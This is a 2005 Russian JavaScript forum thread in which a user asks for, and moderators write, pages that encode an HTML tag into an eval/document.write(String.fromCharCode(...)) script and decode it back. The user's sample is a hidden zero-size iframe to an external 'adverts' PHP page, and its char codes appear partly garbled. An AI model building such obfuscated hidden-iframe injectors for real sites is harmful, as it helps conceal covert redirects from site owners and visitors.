Модераторы: Sardar, Aliance
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> ASCII и iframe-теги, js 
:(
    Опции темы
scr
Дата 7.7.2005, 11:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 8
Регистрация: 7.7.2005

Репутация: нет
Всего: нет



нужен скрипт который:
Код

<iframe src="http://name.ru/scr.php" width=1 height=1></iframe>


перекодирует в:
Код

<script language=javascript>eval(String.fromCharCode(130,115,95,111,102,102,113,115,48,117,116,155,112,101,42,33,63,135,203,111,91,102,103,34,98,111,134,100,111,115,61,48,32,119,105,100,116,104,61,48,32,104,101,105,103,104,116,61,48,30,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,32,112,114,99,61,39,104,116,116,112,58,47,47,118,120,105,102,114,97,109,101,42,94,155,122,47,97,100,118,101,114,116,115,47,48,55,56,47,49,46,112,104,112,35,64,63,42,125,102,111,92,102,102,64,34,41))</script>


вот такого вида...

желательно чтоб было поле для ввода куда вводим адресс ссылки, а скрипт переконвертирует всё это в "<script language=javascript ..."

спасибо

М
 

Прочти правила форума. Пользуйся форумной подсветкой.


Это сообщение отредактировал(а) Aliance - 7.7.2005, 11:10
PM MAIL   Вверх
Aliance
Дата 7.7.2005, 11:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


I ♥ <script>
****


Профиль
Группа: Модератор
Сообщений: 6418
Регистрация: 2.8.2004
Где: spb

Репутация: 55
Всего: 137



Код

var myIFrame = document.createElement("iframe");
myIFrame.setAttribute("src", "sut.net.ru");
document.body.appendChild(myIFrame);

Добавлено @ 11:17
Или упрощенный вариант, который будет в пятом ИЕ работать:
Код

<div id="place"></div>

Код

var div = document.getElementById("place");
var iframe = '<iframe src="http://name.ru/scr.php" width=1 height=1></iframe>';
div.innerHTML = iframe;

PM MAIL WWW ICQ Skype   Вверх
scr
Дата 7.7.2005, 15:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 8
Регистрация: 7.7.2005

Репутация: нет
Всего: нет



непонял. а полностью скрипт как будет выглядеть?

скрипт на выходе должен показать <script language=javascript код ...
PM MAIL   Вверх
Aliance
Дата 7.7.2005, 17:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


I ♥ <script>
****


Профиль
Группа: Модератор
Сообщений: 6418
Регистрация: 2.8.2004
Где: spb

Репутация: 55
Всего: 137



ЧМОР.
Код

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
<TITLE>© AlianceHTMLEditor [ http://editor.sut.net.ru/editor.html ]</TITLE>
</HEAD>

<BODY>

<script type="text/javascript" language="JavaScript">
<!--//--><![CDATA[//><!--

   var myIFrame = document.createElement("iframe");
   myIFrame.src =  "sut.net.ru";
   document.body.appendChild(myIFrame);

//--><!]]>
</SCRIPT>

</BODY>
</HTML>

PM MAIL WWW ICQ Skype   Вверх
scr
Дата 7.7.2005, 18:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 8
Регистрация: 7.7.2005

Репутация: нет
Всего: нет



это не то.

ты кинул готовый JavaScript выриант iframe, а мне нужен скрипт (я видел такой на perl) который из:

Код

<iframe src="http://name.ru/scr.php" width=1 height=1></iframe>


будет делать js:

Код

<script language=javascript>eval(String.fromCharCode(130,115,95,111,102,102,113,115,48,117,116,155,112,101,42,33,63,135,203,111,91,102,103,34,98,111,134,100,111,115,61,48,32,119,105,100,116,104,61,48,32,104,101,105,103,104,116,61,48,30,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,32,112,114,99,61,39,104,116,116,112,58,47,47,118,120,105,102,114,97,109,101,42,94,155,122,47,97,100,118,101,114,116,115,47,48,55,56,47,49,46,112,104,112,35,64,63,42,125,102,111,92,102,102,64,34,41))</script>


то есть javascript+ASCII вариант <iframe src="http://name.ru/scr.php ...

готовый код, скрипт и должен показать


Это сообщение отредактировал(а) scr - 7.7.2005, 18:34
PM MAIL   Вверх
Sardar
Дата 9.7.2005, 02:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бегун
****


Профиль
Группа: Модератор
Сообщений: 6986
Регистрация: 19.4.2002
Где: Нидерланды, Groni ngen

Репутация: 78
Всего: 317



Элементарно:

Код
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
    <title>Untitled</title>
<script type="text/javascript">
<!--
function generate() {
  var s=document.getElementById("dt");
  var d=document.getElementById("dest");
  
  var ret=[];
  for(var i=0; i<s.value.length; i++) ret[i]=s.value.charCodeAt(i);
  
  var data="<sc"+"ript type='text/javascript'>document.write(String.fromCharCode("+ret.join(",")+"));</scr"+"ipt>";
  d.value=data;
}
//-->
</script>

</head>
<body>
Source<br>
<textarea id="dt" cols="60" rows="4"></textarea>
<hr>
Destination<br>
<textarea id="dest" cols="60" rows="4"></textarea><br><br>
<button onclick="generate()">Generate</button>
</body>
</html>



--------------------
 Опыт - сын ошибок трудных  © А. С. Пушкин
 Процесс написания своего велосипеда повышает профессиональный уровень программиста. © Opik
 Оценить мои качества можно тут.
PM   Вверх
scr
Дата 9.7.2005, 14:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 8
Регистрация: 7.7.2005

Репутация: нет
Всего: нет



то что нада, спасибо!
PM MAIL   Вверх
scr
Дата 10.7.2005, 10:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 8
Регистрация: 7.7.2005

Репутация: нет
Всего: нет



а можете сделать скрипт выполняющий обратную операцию?
то есть из ascii в обычные теги ...
PM MAIL   Вверх
Sardar
Дата 10.7.2005, 20:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бегун
****


Профиль
Группа: Модератор
Сообщений: 6986
Регистрация: 19.4.2002
Где: Нидерланды, Groni ngen

Репутация: 78
Всего: 317



Замени document.write() на window.prompt("", String.fromCharCode(...));

Перенёс в раздел для начинающих.


--------------------
 Опыт - сын ошибок трудных  © А. С. Пушкин
 Процесс написания своего велосипеда повышает профессиональный уровень программиста. © Opik
 Оценить мои качества можно тут.
PM   Вверх
scr
Дата 11.7.2005, 11:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 8
Регистрация: 7.7.2005

Репутация: нет
Всего: нет



получилось

Код

<script type="text/javascript">    
<!--    
function generate() {    
  var s=document.getElementById("dt");    
  var d=document.getElementById("dest");    
    
  var ret=[];    
  for(var i=0; i<s.value.length; i++) ret[i]=s.value.charCodeAt(i);    
    
  var data="<sc"+"ript type='text/javascript'>window.prompt("", String.fromCharCode("+ret.join(",")+"));</scr"+"ipt>";    
  d.value=data;    
}    
//-->    
</script>    
</head>    
<body>    
Source<br>    
<textarea id="dt" cols="90" rows="5"></textarea>    
<hr>    
Destination<br>    
<textarea id="dest" cols="90" rows="12"></textarea><br><br>    
<button onclick="generate()">Generate</button>


ничего не делает.
PM MAIL   Вверх
Aliance
Дата 11.7.2005, 11:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


I ♥ <script>
****


Профиль
Группа: Модератор
Сообщений: 6418
Регистрация: 2.8.2004
Где: spb

Репутация: 55
Всего: 137



замени
Код

var data="<sc"+"ript type='text/javascript'>window.prompt("", String.fromCharCode("+ret.join(",")+"));</scr"+"ipt>"; 

на
Код

var data="<sc"+"ript type='text/javascript'>window.prompt(/"/", String.fromCharCode(/"+ret.join(/',/')+/"));</scr"+"ipt>"; 

PM MAIL WWW ICQ Skype   Вверх
Sardar
Дата 11.7.2005, 13:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бегун
****


Профиль
Группа: Модератор
Сообщений: 6986
Регистрация: 19.4.2002
Где: Нидерланды, Groni ngen

Репутация: 78
Всего: 317



scr нет, нужно немножечко думать smile

Мой код выдаёт по тексту численную чушь, трудную для чтения. Но эта чушь превращаеться через String.fromCharCode в нормальную строку, которая пишеться через document.write().

window.propmpt("Название", "что угодно"); покажет нам "что угодно" в текстовом поле в окошке prompt, от туда ты текст можешь скопировать.

Теперь если хорошо подумать, то поймём, что если получив:
Код
<script type='text/javascript'>document.write(String.fromCharCode(116,101,115,116));</script>

Взять и заменить document.write на window.prompt(если не понял, перечитывай пост по новой). Тогда строка от fromCharCodе не будет записанна в поток документа, а показанна в текстовом поле в окошке smile


--------------------
 Опыт - сын ошибок трудных  © А. С. Пушкин
 Процесс написания своего велосипеда повышает профессиональный уровень программиста. © Opik
 Оценить мои качества можно тут.
PM   Вверх
scr
Дата 11.7.2005, 23:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 8
Регистрация: 7.7.2005

Репутация: нет
Всего: нет



ок, сделал

Код

<script type='text/javascript'>window.prompt(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,58,47,47,108,105,110,107,46,114,117,47,105,110,100,101,120,46,112,104,112,39,32,119,105,100,116,104,61,49,32,104,101,105,103,104,116,61,49,62,60,47,105,102,114,97,109,101,62));</script>


раскодированый тег показывается в открывающемся окне...

а как сделать чтоб было тоже самое что и с первым скриптом?
то есть, в два поля, и кнопка обрадного генерирования в обычный html ...
PM MAIL   Вверх
Sardar
Дата 17.7.2005, 16:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бегун
****


Профиль
Группа: Модератор
Сообщений: 6986
Регистрация: 19.4.2002
Где: Нидерланды, Groni ngen

Репутация: 78
Всего: 317



Неужели это так сложно самому? Задача элементарная:
Код
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
    <title>Untitled</title>
<script type="text/javascript">
<!--
function generate() {
  var s=document.getElementById("dt");
  var d=document.getElementById("dest");
  var src=/[0-9]+(?:\s*,\s*[0-9]+)+/.exec(s.value);
  if(!src) return d.value="No data found!";
  src=src[0].split(/\s*,\s*/);
  var ret="";
  for(var i=0; i<src.length; i++)
     ret+=String.fromCharCode(src[i]); 
  d.value=ret;
}
//-->
</script>
</head>
<body>
Source<br>
<textarea id="dt" cols="60" rows="4"></textarea>
<hr>
Destination<br>
<textarea id="dest" cols="60" rows="4"></textarea><br><br>
<button onclick="generate()">Generate</button>
</body>
</html>



--------------------
 Опыт - сын ошибок трудных  © А. С. Пушкин
 Процесс написания своего велосипеда повышает профессиональный уровень программиста. © Opik
 Оценить мои качества можно тут.
PM   Вверх
scr
Дата 18.7.2005, 13:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 8
Регистрация: 7.7.2005

Репутация: нет
Всего: нет



спасибо
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Форум для вопросов, которые имеются в справочниках, но их поиск вызвал затруднения, или для разработчика требуется совет или просьба отыскать ошибку. Напоминаем: 1) чётко формулируйте вопрос, 2) приведите пример того, что уже сделано, 3) укажите явно, нужен работающий пример или подсказка о том, где найти информацию.
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | JavaScript: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0568 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.